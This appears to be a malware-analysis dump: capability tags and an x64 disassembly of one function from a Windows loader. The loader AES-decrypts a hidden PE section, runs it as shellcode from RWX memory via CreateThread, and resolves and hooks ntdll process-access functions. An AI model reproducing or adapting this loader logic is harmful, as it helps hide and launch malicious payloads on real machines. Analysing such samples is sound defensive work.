Function at 0x140001390
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
sub rsp, 0x40
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor r12d, r12d
mov rbp, rax
mov edi, r12d
movsxd rsi, dword [rax + 0x3c]
add rsi, rax
movzx ecx, word [rsi + 0x14]
lea rbx, [rsi + 0x18]
add rbx, rcx
cmp r12w, word [rsi + 6]
jae 0x1400014e4
nop
mov r8d, 8
lea rdx, [0x1400086e4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x14000140d
movzx eax, word [rsi + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jl 0x1400013e0
jmp 0x1400014e4
mov eax, dword [rbx + 8]
mov qword [rsp + 0x60], r14
mov r14d, dword [rbx + 0xc]
add r14, rbp
je 0x1400014df
lea ebx, [rax - 0x18]
mov qword [rsp + 0x68], r15
movsxd rcx, ebx
call fcn.140006984
mov rbp, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rsi, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
lea r9, [0x14000c0b8]
xor r8d, r8d
mov rdx, rax
mov rcx, rsi
lea rax, [0x14000ca48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
lea r9, [r14 + 0x240]
mov dword [rsp + 0x20], ebx
lea r8, [rsp + 0x30]
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
movsxd r15, dword [rsp + 0x30]
lea r8, [rsp + 0x30]
mov rcx, rsi
lea rdx, [r15 + rbp]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
add r15d, dword [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
nop word [rax + rax]
mov eax, dword [r14]
test eax, eax
je 0x1400015b5
sub eax, 1
je 0x14000155b
sub eax, 1
je 0x140001504
cmp eax, 1
jne 0x14000160f
mov rcx, rbp
call fcn.140006940
mov r15, qword [rsp + 0x68]
mov r14, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140006920
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r12
pop rdi
pop rsi
ret
movsxd rdi, r15d
mov r9d, 0x40
mov rdx, rdi
mov r8d, 0x3000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x14000160f
mov r8, rdi
mov rdx, rbp
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
xor r9d, r9d
mov qword [rsp + 0x28], r12
mov r8, rbx
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
add r14, 0x18
jmp 0x1400014b0
call fcn.140005120
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.140005660
lea rdx, [0x140001290]
lea rcx, [0x14000ca30]
call fcn.140004950
lea rdx, [0x1400012f0]
lea rcx, [0x14000ca38]
call fcn.140004950
lea rdx, [0x140001370]
lea rcx, [0x14000ca40]
call fcn.140004950
call fcn.1400051a0
add r14, 0x18
jmp 0x1400014b0
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x14000160f
lea rdx, str.NtOpenProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtReadVirtualMemory
mov rcx, rbx
mov qword [0x14000ca30], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtQuerySystemInformation
mov rcx, rbx
mov qword [0x14000ca38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14000ca40], rax
add r14, 0x18
jmp 0x1400014b0